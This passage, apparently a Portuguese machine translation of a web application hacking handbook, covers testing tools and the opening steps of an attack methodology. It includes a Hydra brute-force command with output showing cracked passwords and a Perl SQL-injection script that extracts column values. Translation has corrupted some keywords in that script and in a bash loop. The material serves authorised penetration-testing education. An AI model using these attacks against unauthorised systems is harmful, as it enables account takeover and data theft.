Para os usuários que entendem como os testes de segurança de aplicativos da Web são feitos e que conhecem as limitações da automação total, a melhor maneira de usar um scanner é dentro de um conjunto de testes integrados para apoiar e aprimorar o processo de teste manual. Essa abordagem ajuda a evitar muitos dos desafios técnicos enfrentados pelos scanners totalmente automatizados. Você pode orientar o scanner usando seu navegador para garantir que nenhuma área importante da funcionalidade seja perdida. Você pode verificar diretamente as solicitações reais geradas pelo aplicativo, contendo dados com o conteúdo e o formato corretos exigidos pelo aplicativo. Com controle total sobre o que é verificado, você pode evitar funcionalidades perigosas, reconhecer funcionalidades duplicadas e passar por todos os requisitos de validação de entrada com os quais um verificador automatizado pode ter dificuldades. Além disso, quando você tem feedback direto sobre a atividade do scanner, pode garantir que os problemas com autenticação e tratamento de sessão sejam evitados e que os problemas causados por processos de vários estágios e funções com estado sejam tratados adequadamente. Ao usar um scanner dessa forma, você pode cobrir uma gama importante de vulnerabilidades cuja detecção pode ser automatizada. Isso o deixará livre para procurar os tipos de vulnerabilidades que exigem inteligência e experiência humanas para serem descobertas.

Outras ferramentas

Além das ferramentas já discutidas, você pode encontrar inúmeras outras que podem ser usadas em uma situação específica ou para executar uma determinada tarefa. O restante deste capítulo descreve algumas outras ferramentas que você provavelmente encontrará e usará ao atacar aplicativos. Deve-se observar que esta é apenas uma breve pesquisa de algumas ferramentas que os autores usaram. Recomenda-se que você investigue as várias ferramentas disponíveis e escolha aquelas que melhor atendam às suas necessidades e ao seu estilo de teste.

Wikto/Nikto

O Nikto é útil para localizar conteúdo padrão ou comum de terceiros existente em um servidor da Web. Ele contém um grande banco de dados de arquivos e diretórios, incluindo páginas e scripts padrão que acompanham os servidores da Web e itens de terceiros, como software de carrinho de compras. A ferramenta funciona basicamente solicitando cada item por vez e detectando se ele existe.

O banco de dados é atualizado com frequência, o que significa que o Nikto normalmente é mais eficaz do que qualquer outra técnica automatizada ou manual para identificar esse tipo de conteúdo.

O Nikto implementa uma ampla gama de opções de configuração, que podem ser especificadas na linha de comando ou por meio de um arquivo de configuração baseado em texto. Se o aplicativo usar uma página personalizada de "não encontrado", você poderá evitar falsos positivos usando a opção `-404`, que permite especificar uma cadeia de caracteres que aparece na página de erro personalizada.

O Wikto é uma versão do Nikto para Windows que tem alguns recursos adicionais, como detecção aprimorada de respostas "não encontradas" personalizadas e mineração de diretório assistida pelo Google.

Firebug

O Firebug é uma ferramenta de depuração do navegador que permite depurar e editar HTML e JavaScript em tempo real na página exibida no momento. Você também pode explorar e editar o DOM.

O Firebug é extremamente eficiente para analisar e explorar uma ampla gama de ataques do lado do cliente, incluindo todos os tipos de scripts entre sites, falsificação de solicitações e reparação de interface do usuário, além de captura de dados entre domínios, conforme descrito no Capítulo 13.

Hydra

O Hydra é uma ferramenta de adivinhação de senhas que pode ser usada em uma ampla variedade de situações, inclusive com a autenticação baseada em formulários comumente usada na Web

aplicativos. Obviamente, você pode usar uma ferramenta como o Burp Intruder para executar qualquer ataque desse tipo de forma totalmente personalizada; no entanto, em muitas situações, o Hydra pode ser igualmente útil.

O Hydra permite especificar o URL de destino, os parâmetros de solicitação relevantes, listas de palavras para atacar os campos de nome de usuário e senha e detalhes da mensagem de erro que é retornada após um login malsucedido. A configuração `-t` pode ser usada para especificar o número de threads paralelos a serem usados no ataque. Por exemplo:

```
C:\>hydra.exe -t 32 -L user.txt -P password.txt wahh-app.com http-post-form
 "/login.asp:login_name=^USER^&login_password=^PASS^&login=Login:Invalid"
Hydra v6.4 (c) 2011 por van Hauser / THC - uso permitido somente para fins
legais.
Hydra (http://www.thc.org) começando em 2011-05-22 16:32:48
[DATA] 32 tarefas, 1 servidor, 21904 tentativas de login (l:148/p:148), ~684
tentativas por tarefa

[DATA] Atacando o serviço http-post-form na porta 80
 [STATUS] 397.00 tries/min, 397 tries in 00:01h, 21507 todo in00:55h
 [80][www-form] host: 65.61.137.117      login: alice    password:password
 [80][www-form] host: 65.61.137.117      login: liz    password: password
...
```

Scripts personalizados

De acordo com a experiência dos autores, as várias ferramentas disponíveis no mercado são suficientes para ajudá-lo a executar a grande maioria das tarefas que você precisa realizar ao atacar um aplicativo da Web. Entretanto, em várias situações incomuns, você precisará criar suas próprias ferramentas e scripts personalizados para resolver um problema específico. Por exemplo:

- O aplicativo usa um mecanismo incomum de tratamento de sessão, como um que envolve tokens por página que devem ser reenviados na sequência correta.
- Você deseja explorar uma vulnerabilidade que exige que várias etapas específicas sejam executadas repetidamente, com os dados recuperados em uma resposta incorporados às solicitações subsequentes.
- O aplicativo encerra sua sessão de forma agressiva quando identifica uma solicitação potencialmente mal-intencionada, e a aquisição de uma nova sessão autenticada exige várias etapas não padronizadas.
- Você precisa fornecer uma exploração do tipo "apontar e clicar" a um proprietário de aplicativo para demonstrar a vulnerabilidade e o risco.

Se você tiver alguma experiência em programação, a maneira mais fácil de resolver problemas desse tipo é criar um programa pequeno e totalmente personalizado para emitir as solicitações relevantes e processar as respostas do aplicativo. Você pode produzir isso como uma ferramenta autônoma ou como uma extensão de um dos testes integrados

suítes descritas anteriormente. Por exemplo, você pode usar a interface Burp Extender para estender o Burp Suite ou a interface BeanShell para estender o WebScarab.

As linguagens de script, como Perl, contêm bibliotecas que ajudam a simplificar a comunicação HTTP, e muitas vezes você pode executar tarefas personalizadas usando apenas algumas linhas de código. Mesmo que sua experiência em programação seja limitada, muitas vezes é possível encontrar um script na Internet que pode ser ajustado para atender às suas necessidades. O exemplo a seguir mostra um script Perl simples que explora uma vulnerabilidade de injeção de SQL em um formulário de pesquisa para fazer consultas recursivas e recuperar todos os valores em uma coluna de tabela especificada. Ele começa com o valor mais alto e repete para baixo (consulte o Capítulo 9 para obter mais detalhes sobre esse tipo de ataque):

```
use HTTP::Request::Common;
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
my $col = @ARGV[1];
my $from_stmt = @ARGV[3];


se ($#ARGV!=3) {
     print "usage: perl sql.pl SELECT column FROM table\n"; exit;
  }


while(1)
{

$payload = "foo' or (1 in (select max($col) from $from_stmt
$test))--";

my $req = POST "http://mdsec.net/addressbook/32/Default.aspx", [
    VIEWSTATE => '', Name => $payload, Email => 'john@test.
com', Telefone =>
 '12345', Search => 'Search', Address => '1 High Street', Age =>
'30',];
my $resp = $ua->request($req); my
$content = $resp->as_string;
#print $content;

Se ($content =~ /nvarchar value '(.*)'/)
{
    print "$1\n";         # imprime a correspondência extraída

}
mais
 {exit;}

$test = "where $col < '$1'";

}
```

EXPERIMENTE!

```
http://mdsec.net/addressbook/32/
```

Além dos comandos e bibliotecas internos, você pode chamar várias ferramentas e utilitários simples de scripts Perl e scripts de shell do sistema operacional. Algumas ferramentas úteis para essa finalidade são descritas a seguir.

Wget

O Wget é uma ferramenta útil para recuperar um URL especificado usando HTTP ou HTTPS. Ele pode oferecer suporte a um proxy downstream, autenticação HTTP e várias outras opções de configuração.

Enrolar

O Curl é uma das ferramentas de linha de comando mais flexíveis para emitir solicitações HTTP e HTTPS. Ele é compatível com os métodos `GET` e `POST`, parâmetros de solicitação, certificados SSL do cliente e autenticação HTTP. No exemplo a seguir, o título da página é recuperado para valores de ID de página entre 10 e 40:

```
#!/bin/bash
for i in `seq 10 40`;
do
echo -n $i ": "
 curl -s http://mdsec.net/app/ShowPage.ashx?PageNo==$i | grep -Po
 "<title>(.*)</title>" | sed 's/.......\(.*\). ........../\1/'
feito
```

EXPERIMENTE!

```
http://mdsec.net/app/
```

Netcat

O Netcat é uma ferramenta versátil que pode ser usada para executar várias tarefas relacionadas à rede. Ele é a base de muitos tutoriais de hacking para iniciantes. Você pode usá-lo para abrir uma conexão TCP com um servidor, enviar uma solicitação e recuperar a resposta. Além desse uso, o Netcat pode ser usado para criar um ouvinte de rede no seu computador para receber conexões de um servidor que você está atacando. Consulte o Capítulo 9

para ver um exemplo dessa técnica sendo usada para criar um canal fora de banda em um ataque a banco de dados.

O Netcat não é compatível com conexões SSL, mas isso pode ser feito se você usá-lo em conjunto com a ferramenta stunnel, descrita a seguir.

Stunnel

O Stunnel é útil quando você está trabalhando com seus próprios scripts ou outras ferramentas que não são compatíveis com conexões HTTPS. O Stunnel permite criar conexões SSL de cliente para qualquer host ou soquetes SSL de servidor para ouvir conexões de entrada de qualquer cliente. Como o HTTPS é simplesmente o protocolo HTTP encapsulado sobre SSL, você pode usar o stunnel para fornecer recursos HTTPS a qualquer outra ferramenta.

Por exemplo, o comando a seguir mostra o stunnel sendo configurado para criar um soquete de servidor TCP simples na porta 88 da interface de loopback local. Quando uma conexão é recebida, o stunnel executa uma negociação SSL com o servidor em `wahh-app.com`, encaminhando a conexão de texto não criptografado de entrada por meio do túnel SSL para esse servidor:

```
C:\bin>stunnel -c -d localhost:88 -r wahh-app.com:443 2011.01.08
15:33:14 LOG5[1288:924]: Usando 'wahh-app.com.443' como
Nome do         tcpwrapperservice
2011.01.08 15:33:14 LOG5[1288:924]: stunnel 3.20 on x86-pc-
mingw32-gnu WIN32
```

Agora você pode simplesmente apontar qualquer ferramenta que não seja compatível com SSL para a porta 88 na interface de loopback. Isso efetivamente se comunica com o servidor de destino por HTTPS:

```
2011.01.08 15:33:20 LOG5[1288:1000]: wahh-app.com.443 conectado
de         127.0.0.1:1113
2011.01.08 15:33:26 LOG5[1288:1000]: Conexão fechada: 16bytes
enviados para SSL,     bytes enviados para o soquete
```

Resumo

Este livro concentrou-se nas técnicas práticas que você pode usar para atacar aplicativos da Web. Embora seja possível executar algumas dessas tarefas usando apenas um navegador, para realizar um ataque eficaz e abrangente a um aplicativo, você precisa de algumas ferramentas.

A ferramenta mais importante e indispensável em seu arsenal é o proxy de interceptação, que permite visualizar e modificar todo o tráfego que passa em ambas as direções entre o navegador e o servidor. Os proxies atuais são complementados com um

uma série de outras ferramentas integradas que podem ajudar a automatizar muitas das tarefas que você precisará executar. Além de um desses conjuntos de ferramentas, é necessário usar uma ou mais extensões de navegador que permitam que você continue trabalhando em situações em que um proxy não possa ser usado.

O outro tipo principal de ferramenta que você pode empregar é um scanner autônomo de aplicativos da Web. Essas ferramentas podem ser eficazes na descoberta rápida de uma série de vulnerabilidades comuns e também podem ajudá-lo a mapear e analisar a funcionalidade de um aplicativo. No entanto, elas não são capazes de identificar muitos tipos de falhas de segurança, e você não pode confiar nelas para dar um atestado de saúde completamente limpo a qualquer aplicativo.

Em última análise, o que o tornará um hacker de aplicativos da Web bem-sucedido é a sua capacidade de entender como os aplicativos da Web funcionam, onde as defesas deles falham e como sondá-los em busca de vulnerabilidades exploráveis. Para fazer isso de forma eficaz, você precisa de ferramentas que lhe permitam examinar os bastidores, manipular sua interação com os aplicativos de forma minuciosa e aproveitar a automação sempre que possível para tornar seus ataques mais rápidos e confiáveis. As ferramentas que você achar mais úteis para atingir esses objetivos são as certas para você. E se as ferramentas disponíveis não atenderem às suas necessidades, você sempre poderá criar a sua própria. Não é tão difícil assim, sério.

CAPÍTULO

21

Um hacker de aplicativos da Web
Metodologia

Este capítulo contém uma metodologia detalhada, passo a passo, que você pode seguir ao atacar um aplicativo da Web. Ela abrange todas as categorias de vulnerabilidades e técnicas de ataque descritas neste livro. Seguir todas as etapas dessa metodologia não garantirá que você descubra todas as vulnerabilidades de um determinado aplicativo. Entretanto, ela lhe dará um bom nível de garantia de que você sondou todas as regiões necessárias da superfície de ataque do aplicativo e encontrou o maior número possível de problemas, considerando os recursos disponíveis. A Figura 21-1 ilustra as principais áreas de trabalho descritas por essa metodologia.

Vamos nos aprofundar nesse diagrama e ilustrar a subdivisão de tarefas que cada área envolve. Os números nos diagramas correspondem à lista hierárquica numerada usada na metodologia, de modo que você pode facilmente pular para as ações envolvidas em uma área específica.

A metodologia é apresentada como uma sequência de tarefas que são organizadas e ordenadas de acordo com as interdependências lógicas entre elas. Na medida do possível, essas interdependências são destacadas nas descrições das tarefas. Entretanto, na prática, você frequentemente precisará pensar de forma imaginativa sobre a direção que suas atividades devem tomar e permitir que elas sejam orientadas pelo que você descobrir sobre o aplicativo que está atacando. Por exemplo:

- As informações coletadas em um estágio podem permitir que você retorne a um estágio anterior e formule ataques mais direcionados. Por exemplo, um bug de controle de acesso que permite obter uma lista de todos os usuários pode permitir que você

realizar um ataque de adivinhação de senha mais eficaz contra a função de autenticação.

- A descoberta de uma vulnerabilidade importante em uma área do aplicativo pode permitir que você reduza parte do trabalho em outras áreas. Por exemplo, uma vulnerabilidade de divulgação de arquivo pode permitir que você realize uma revisão de código das principais funções do aplicativo, em vez de sondá-las de uma maneira exclusivamente black-box.
- Os resultados de seus testes em algumas áreas podem destacar padrões de vulnerabilidades recorrentes que podem ser imediatamente investigados em outras áreas. Por exemplo, um defeito genérico nos filtros de validação de entrada do aplicativo pode permitir que você encontre rapidamente um desvio de suas defesas contra várias categorias diferentes de ataque.

Figura 21-1: As principais áreas de trabalho envolvidas na metodologia

Use as etapas desta metodologia para orientar seu trabalho e como uma lista de verificação para evitar erros, mas não se sinta obrigado a segui-las com muita rigidez. Mantenha

tenha em mente o seguinte pensamento: as tarefas que descrevemos são, em grande parte, padrão e ortodoxas; os ataques mais impressionantes contra aplicativos da Web sempre envolvem pensar além delas.

Diretrizes gerais

Você deve sempre ter em mente algumas considerações gerais ao realizar as tarefas detalhadas envolvidas no ataque a um aplicativo da Web. Elas podem se aplicar a todas as diferentes áreas que você precisa examinar e técnicas que precisa executar.

- Lembre-se de que vários caracteres têm um significado especial em diferentes partes da solicitação HTTP. Quando estiver modificando os dados nas solicitações, codifique esses caracteres no URL para garantir que sejam interpretados da maneira pretendida:
  - `&` é usado para separar parâmetros na string de consulta de URL e no corpo da mensagem. Para inserir um caractere literal &, você deve codificá-lo como `%26`.
  - `=` é usado para separar o nome e o valor de cada parâmetro na string de consulta de URL e no corpo da mensagem. Para inserir um caractere `=` literal, você deve codificá-lo como `%3d`.
  - `?` é usado para marcar o início da string de consulta de URL. Para inserir um caractere literal `?`, você deve codificá-lo como `%3f`.
  - Um espaço é usado para marcar o final do URL na primeira linha das solicitações e pode indicar o final de um valor de cookie no cabeçalho `Cookie`. Para inserir um espaço literal, você deve codificá-lo como `%20` ou `+`.
  - Como `+` representa um espaço codificado, para inserir um caractere `+` literal, você deve codificá-lo como `%2b`.
  - `;` é usado para separar cookies individuais no cabeçalho `Cookie`. Para inserir um caractere literal `;`, você deve codificá-lo como `%3b`.
  - `#` é usado para marcar o identificador de fragmento no URL. Se você inserir esse caractere no URL do navegador, ele efetivamente truncará o URL que é enviado ao servidor. Para inserir um caractere `#` literal, você deve codificá-lo como `%23`.
  - `%` é usado como prefixo no esquema de codificação de URL. Para inserir um literal
    `%`, você deve codificar esse caractere como `%25`.
  - Quaisquer caracteres não imprimíveis, como bytes nulos e novas linhas, devem, obviamente, ser codificados no URL usando seu código de caractere ASCII, neste caso, como `%00` e `%0a`, respectivamente.
- Além disso, observe que a inserção de dados codificados por URL em um formulário geralmente faz com que o navegador execute outra camada de codificação. Por exemplo,

enviar `%00` em um formulário provavelmente resultará no envio de um valor de `%2500` para o servidor. Por esse motivo, normalmente é melhor observar a solicitação final em um proxy de interceptação.

- Muitos testes de vulnerabilidades comuns de aplicativos da Web envolvem o envio de várias strings de entrada criadas e o monitoramento das respostas do aplicativo em busca de anomalias, o que indica a presença de uma vulnerabilidade. Em alguns casos, a resposta do aplicativo a uma determinada solicitação contém um sinal de uma determinada vulnerabilidade, independentemente de ter sido enviado um acionador para essa vulnerabilidade. Em qualquer caso em que uma entrada específica criada resulte em um comportamento associado a uma vulnerabilidade (como uma mensagem de erro específica), você deve verificar se o envio de uma entrada benigna no parâmetro relevante também causa o mesmo comportamento. Se isso acontecer, sua tentativa de descoberta provavelmente será um falso positivo.
- Normalmente, os aplicativos acumulam uma quantidade de estado de solicitações anteriores, o que afeta a forma como eles respondem a outras solicitações. Às vezes, quando você está tentando investigar uma vulnerabilidade provisória e isolar a causa exata de um determinado comportamento anômalo, é necessário remover os efeitos de qualquer estado acumulado. Para isso, geralmente é suficiente iniciar uma nova sessão com um novo processo de navegador, navegar até o local da anomalia observada usando apenas solicitações benignas e, em seguida, reenviar a entrada criada. Muitas vezes, você pode replicar essa medida ajustando as partes de suas solicitações que contêm cookies e informações de cache. Além disso, você pode usar uma ferramenta como o Burp Repeater para isolar uma solicitação, fazer ajustes específicos nela e reemiti-la quantas vezes forem necessárias.
- Alguns aplicativos usam uma configuração de carga balanceada na qual as solicitações HTTP consecutivas podem ser tratadas por diferentes servidores de back-end na Web, na apresentação, nos dados ou em outras camadas. Servidores diferentes podem ter pequenas diferenças na configuração que afetam seus resultados. Além disso, alguns ataques bem-sucedidos resultarão em uma alteração no estado do servidor específico que processa suas solicitações, como a criação de um novo arquivo na raiz da Web. Para isolar os efeitos de ações específicas, pode ser necessário executar várias solicitações idênticas em sucessão, testando o resultado de cada uma até que a solicitação seja tratada pelo servidor relevante.

Supondo que você esteja implementando essa metodologia como parte de um contrato de consultoria, deve sempre se certificar de realizar o exercício de escopo usual para concordar exatamente com quais nomes de host, URLs e funcionalidades devem ser incluídos e se existem restrições quanto aos tipos de testes que você tem permissão para realizar. Você deve conscientizar o proprietário do aplicativo sobre os riscos inerentes à realização de qualquer tipo de teste de penetração em um alvo de caixa preta. Aconselhe o proprietário a fazer backup de todos os dados importantes antes de iniciar seu trabalho.

1 Mapear o conteúdo do aplicativo

Figura 21-2: Mapeamento do conteúdo do aplicativo

1.1 Explore o conteúdo visível

1.1.1 Configure seu navegador para usar sua ferramenta de proxy/aranha integrada favorita. Tanto o Burp quanto o WebScarab podem ser usados para espiar passivamente o site, monitorando e analisando o conteúdo da Web processado pelo proxy.

1.1.2 Se achar útil, configure seu navegador para usar uma extensão como o IEWatch para monitorar e analisar o conteúdo HTTP e HTML que está sendo processado pelo navegador.

1.1.3 Navegue por todo o aplicativo da maneira normal, visitando todos os links e URLs, enviando todos os formulários e passando por todas as funções de várias etapas até a conclusão. Tente navegar com o JavaScript ativado e desativado, e com os cookies ativados e desativados. Muitos aplicativos podem lidar com várias configurações de navegador, e você pode chegar a diferentes caminhos de conteúdo e código dentro do aplicativo.

1.1.4 Se o aplicativo usar autenticação e você tiver ou puder criar uma conta de login, use-a para acessar a funcionalidade protegida.

1.1.5 Enquanto navega, monitore as solicitações e respostas que passam pelo proxy de interceptação para entender os tipos de dados enviados e as formas como o cliente é usado para controlar o comportamento do aplicativo no lado do servidor.

1.1.6 Revise o mapa do site gerado pelo spidering passivo e identifique qualquer conteúdo ou funcionalidade que você não tenha percorrido usando o navegador. A partir dos resultados do spider, estabeleça onde cada item foi descoberto (por exemplo, no Burp Spider, verifique os detalhes do Linked From). Acesse cada item usando seu navegador para que o spider analise a resposta do servidor para identificar qualquer conteúdo adicional. Continue essa etapa recursivamente até que nenhum outro conteúdo ou funcionalidade seja identificado.

1.1.7 Quando terminar a navegação manual e o spidering passivo, você poderá usar o spider para rastrear ativamente o aplicativo, usando o conjunto de URLs descobertos como sementes. Às vezes, isso pode revelar conteúdo adicional que você não percebeu ao trabalhar manualmente. Antes de fazer um rastreamento automatizado, primeiro identifique todos os URLs que sejam perigosos ou que possam interromper a sessão do aplicativo e, em seguida, configure o spider para excluí-los de seu escopo.

1.2 Consultar recursos públicos

1.2.1 Use os mecanismos de pesquisa e arquivos da Internet (como o Wayback Machine) para identificar o conteúdo que eles indexaram e armazenaram para o seu aplicativo de destino.

1.2.2 Use as opções de pesquisa avançada para aumentar a eficácia de sua pesquisa. Por exemplo, no Google, você pode usar `site:` para recuperar todo o conteúdo do seu site de destino e `link:` para recuperar outros sites com links para ele. Se a sua pesquisa identificar conteúdo que não está mais presente no aplicativo ativo, você ainda poderá visualizá-lo no cache do mecanismo de pesquisa. Esse conteúdo antigo pode conter links para recursos adicionais que ainda não foram removidos.

1.2.3 Realize pesquisas em nomes e endereços de e-mail que você tenha descoberto no conteúdo do aplicativo, como informações de contato. Inclua itens não renderizados na tela, como comentários em HTML. Além das pesquisas na Web, faça pesquisas em notícias e grupos. Procure todos os detalhes técnicos publicados em fóruns da Internet sobre o aplicativo de destino e sua infraestrutura de suporte.

1.2.4 Analise todos os arquivos WSDL publicados para gerar uma lista de nomes de funções e valores de parâmetros potencialmente empregados pelo aplicativo.

1.3 Descubra o conteúdo oculto

1.3.1 Confirme como o aplicativo lida com solicitações de itens inexistentes. Faça algumas solicitações manuais para recursos válidos e inválidos conhecidos e compare as respostas do servidor para estabelecer uma maneira fácil de identificar quando um item não existe.

1.3.2 Obtenha listas de nomes de arquivos e diretórios comuns e extensões de arquivos comuns. Adicione a essas listas todos os itens realmente observados nos aplicativos e também os itens inferidos a partir delas. Tente entender as convenções de nomenclatura usadas pelos desenvolvedores de aplicativos. Por exemplo, se houver páginas chamadas `AddDocument.jsp` e `ViewDocument.jsp`, também poderá haver páginas chamadas `EditDocument.jsp` e `RemoveDocument.jsp`.

1.3.3 Revise todo o código do lado do cliente para identificar qualquer pista sobre o conteúdo oculto do lado do servidor, incluindo comentários HTML e elementos de formulário desativados.

1.3.4 Usando as técnicas de automação descritas no Capítulo 14, faça um grande número de solicitações com base em suas listas de diretórios, nomes de arquivos e extensões de arquivos. Monitore as respostas do servidor para confirmar quais itens estão presentes e acessíveis.

1.3.5 Realize esses exercícios de descoberta de conteúdo de forma recursiva, usando novos conteúdos e padrões enumerados como base para mais spidering direcionado ao usuário e mais descoberta automatizada.

1.4 Descubra o conteúdo padrão

1.4.1 Execute o Nikto no servidor da Web para detectar qualquer conteúdo padrão ou conhecido que esteja presente. Use as opções do Nikto para maximizar sua eficácia. Por exemplo, você pode usar a opção `-root` para especificar um diretório para verificar se há conteúdo padrão ou `-404` para especificar uma cadeia de caracteres que identifique uma página personalizada de arquivo não encontrado.

1.4.2 Verifique manualmente quaisquer descobertas potencialmente interessantes para eliminar quaisquer falsos positivos nos resultados.

1.4.3 Solicite o diretório raiz do servidor, especificando o endereço IP no cabeçalho `Host`, e determine se o aplicativo responde com algum conteúdo diferente. Se for o caso, execute uma varredura Nikto no endereço IP e no nome do servidor.

1.4.4 Faça uma solicitação ao diretório raiz do servidor, especificando um intervalo de cabeçalhos `User-Agent`, conforme mostrado em `www.useragentstring.com/pages/ useragentstring.php`.

1.5 Enumerar funções especificadas por identificador

1.5.1 Identifique todas as instâncias em que funções específicas do aplicativo são acessadas passando um identificador da função em um parâmetro de solicitação (por exemplo, `/admin.jsp?action=editUser` ou `/main.php?func=A21`).

1.5.2 Aplique as técnicas de descoberta de conteúdo usadas na etapa 1.3 ao mecanismo que está sendo usado para acessar funções individuais. Por exemplo, se o aplicativo usar um parâmetro que contenha um nome de função, primeiro determine seu comportamento quando uma função inválida for especificada e tente estabelecer uma maneira fácil de identificar quando uma função válida tiver sido solicitada. Compile uma lista de nomes de funções comuns ou percorra o intervalo sintático de identificadores que se observa estarem em uso. Automatize o exercício para enumerar a funcionalidade válida da forma mais rápida e fácil possível.

1.5.3 Se aplicável, compile um mapa do conteúdo do aplicativo com base em caminhos funcionais, em vez de URLs, mostrando todas as funções enumeradas e os caminhos lógicos e as dependências entre elas. (Consulte o Capítulo 4 para obter um exemplo).

1.6 Teste de parâmetros de depuração

1.6.1 Escolha uma ou mais páginas ou funções do aplicativo em que os parâmetros de depuração ocultos (como `debug=true`) possam ser implementados. É mais provável que eles apareçam em funcionalidades importantes, como login, pesquisa e upload ou download de arquivos.

1.6.2 Use listas de nomes de parâmetros de depuração comuns (como `debug`, `test`, `hide` e `source`) e valores comuns (como `true`, `yes`, `on` e `1`). Itere por todas as permutações desses parâmetros, enviando cada par de nome/valor a cada função direcionada. Para solicitações `POST`, forneça o parâmetro tanto na string de consulta do URL quanto no corpo da solicitação. Use as técnicas descritas no Capítulo 14 para automatizar esse exercício. Por exemplo, você pode usar o tipo de ataque cluster bomb no Burp Intruder para combinar todas as permutações de duas listas de carga útil.

1.6.3 Analise as respostas do aplicativo em busca de anomalias que possam indicar que o parâmetro adicionado teve efeito sobre o processamento do aplicativo.

2 Analisar o aplicativo

Figura 21-3: Analisando o aplicativo

2.1 Identificar a funcionalidade

2.1.1 Identifique a funcionalidade principal para a qual o aplicativo foi criado e as ações que cada função foi projetada para executar quando usada como pretendido.

2.1.2 Identifique os principais mecanismos de segurança empregados pelo aplicativo e como eles funcionam. Em particular, entenda os principais

mecanismos que lidam com

autenticação, gerenciamento de sessão e controle de acesso, além das funções que os suportam, como registro de usuário e recuperação de conta.

2.1.3 Identifique todas as funções e comportamentos mais periféricos, como o uso de redirecionamentos, links externos, mensagens de erro e funções administrativas e de registro.

2.1.4 Identifique qualquer funcionalidade que divirja da aparência padrão da GUI, da nomeação de parâmetros ou do mecanismo de navegação usado em outras partes do aplicativo e destaque-a para testes detalhados.

2.2 Identificar pontos de entrada de dados

2.2.1 Identifique todos os diferentes pontos de entrada existentes para introduzir a entrada do usuário no processamento do aplicativo, incluindo URLs, parâmetros de string de consulta, dados `POST`, cookies e outros cabeçalhos HTTP processados pelo aplicativo.

2.2.2 Examine todos os mecanismos personalizados de transmissão ou codificação de dados usados pelo aplicativo, como um formato de string de consulta não padrão. Entenda se os dados que estão sendo enviados encapsulam nomes e valores de parâmetros ou se um meio alternativo de representação está sendo usado.

2.2.3 Identifique todos os canais fora de banda por meio dos quais os dados controláveis pelo usuário ou outros dados de terceiros estão sendo introduzidos no processamento do aplicativo. Um exemplo é um aplicativo de webmail que processa e renderiza mensagens recebidas via SMTP.

2.3 Identificar as tecnologias utilizadas

2.3.1 Identificar cada uma das diferentes tecnologias usadas no lado do cliente, como formulários, scripts, cookies, applets Java, controles ActiveX e objetos Flash.

2.3.2 Na medida do possível, estabeleça quais tecnologias estão sendo usadas no lado do servidor, incluindo linguagens de script, plataformas de aplicativos e interação com componentes de back-end, como bancos de dados e sistemas de e-mail.

2.3.3 Verifique o cabeçalho `do servidor` HTTP retornado nas respostas do aplicativo e verifique também se há outros identificadores de software contidos nos cabeçalhos HTTP personalizados ou nos comentários do código-fonte HTML. Observe que, em alguns casos, diferentes áreas do aplicativo são tratadas por diferentes componentes de back-end, portanto, diferentes banners podem ser recebidos.

2.3.4 Execute a ferramenta Httprint para obter a impressão digital do servidor da Web.

2.3.5 Analise os resultados de seus exercícios de mapeamento de conteúdo para identificar extensões de arquivos, diretórios ou outras sequências de URL que pareçam interessantes

que podem fornecer pistas sobre as tecnologias em uso no servidor. Analise os nomes de todos os tokens de sessão e outros cookies emitidos. Use o Google para pesquisar as tecnologias associadas a esses itens.

2.3.6 Identifique nomes de scripts e parâmetros de string de consulta com aparência interessante que possam pertencer a componentes de código de terceiros. Pesquise esses nomes no Google usando o qualificador `inurl:` para encontrar outros aplicativos que usem os mesmos scripts e parâmetros e que, portanto, possam estar usando os mesmos componentes de terceiros. Faça uma análise não invasiva desses sites, pois isso pode revelar conteúdo e funcionalidade adicionais que não estão explicitamente vinculados ao aplicativo que você está atacando.

2.4 Mapear a superfície de ataque

2.4.1 Tente verificar a provável estrutura interna e a funcionalidade do aplicativo do lado do servidor e os mecanismos que ele usa nos bastidores para fornecer o comportamento que é visível da perspectiva do cliente. Por exemplo, é provável que uma função para recuperar pedidos de clientes esteja interagindo com um banco de dados.

2.4.2 Para cada item de funcionalidade, identifique os tipos de vulnerabilidades comuns que são frequentemente associadas a ele. Por exemplo, as funções de upload de arquivos podem ser vulneráveis à passagem de caminho, as mensagens entre usuários podem ser vulneráveis a XSS e as funções de contato podem ser vulneráveis à injeção de SMTP. Consulte o Capítulo 4 para obter exemplos de vulnerabilidades comumente associadas a funções e tecnologias específicas.

2.4.3 Formule um plano de ataque, priorizando a funcionalidade de aparência mais interessante e a mais grave das possíveis vulnerabilidades associadas a ela. Use seu plano para orientar a quantidade de tempo e esforço que você dedica a cada uma das áreas restantes desta metodologia.

3 Teste os controles do lado do cliente

Figura 21-4: Testando controles do lado do cliente

3.1 Teste de transmissão de dados por meio do cliente

3.1.1 Localize todas as instâncias no aplicativo em que campos de formulário ocultos, cookies e parâmetros de URL estejam aparentemente sendo usados para transmitir dados por meio do cliente.

3.1.2 Tente determinar a finalidade que o item desempenha na lógica do aplicativo, com base no contexto em que ele aparece e em seu nome e valor.

3.1.3 Modificar o valor do item de forma relevante para sua função na funcionalidade do aplicativo. Determine se o aplicativo processa valores arbitrários enviados no campo e se esse fato pode ser explorado para interferir na lógica do aplicativo ou subverter quaisquer controles de segurança.

3.1.4 Se o aplicativo transmitir dados opacos por meio do cliente, você poderá atacá-lo de várias maneiras. Se o item for ofuscado, você poderá decifrar o algoritmo de ofuscação e, portanto, enviar dados arbitrários dentro do item opaco. Mesmo que ele esteja criptografado com segurança, você poderá reproduzir o item em outros contextos para interferir na lógica do aplicativo. Consulte o Capítulo 5 para obter mais detalhes sobre esses e outros ataques.

3.1.5 Se o aplicativo usar o ASP.NET `ViewState`, teste para confirmar se ele pode ser adulterado ou se contém informações confidenciais. Observe que o `ViewState` pode ser usado de forma diferente em diferentes páginas do aplicativo.

3.1.5.1 Use o analisador `ViewState` no Burp Suite para confirmar se a opção `EnableViewStateMac` foi ativada, o que significa que o conteúdo do `ViewState` não pode ser modificado.

3.1.5.2 Revise o `ViewState` decodificado para identificar quaisquer dados confidenciais que ele contenha.

3.1.5.3 Modifique um dos valores de parâmetro decodificados, recodifique e envie o `ViewState`. Se o aplicativo aceitar o valor modificado, você deverá tratar o `ViewState` como um canal de entrada para a introdução de dados arbitrários no processamento do aplicativo. Realize os mesmos testes nos dados que ele contém, como você faria com qualquer outro parâmetro de solicitação.

3.2 Teste os controles do lado do cliente sobre a entrada do usuário

3.2.1 Identifique os casos em que os controles do lado do cliente, como limites de comprimento e verificações de JavaScript, são usados para validar a entrada do usuário antes de ela ser enviada

para o servidor. Esses controles podem ser contornados facilmente, pois é possível enviar solicitações arbitrárias ao servidor. Por exemplo:

```
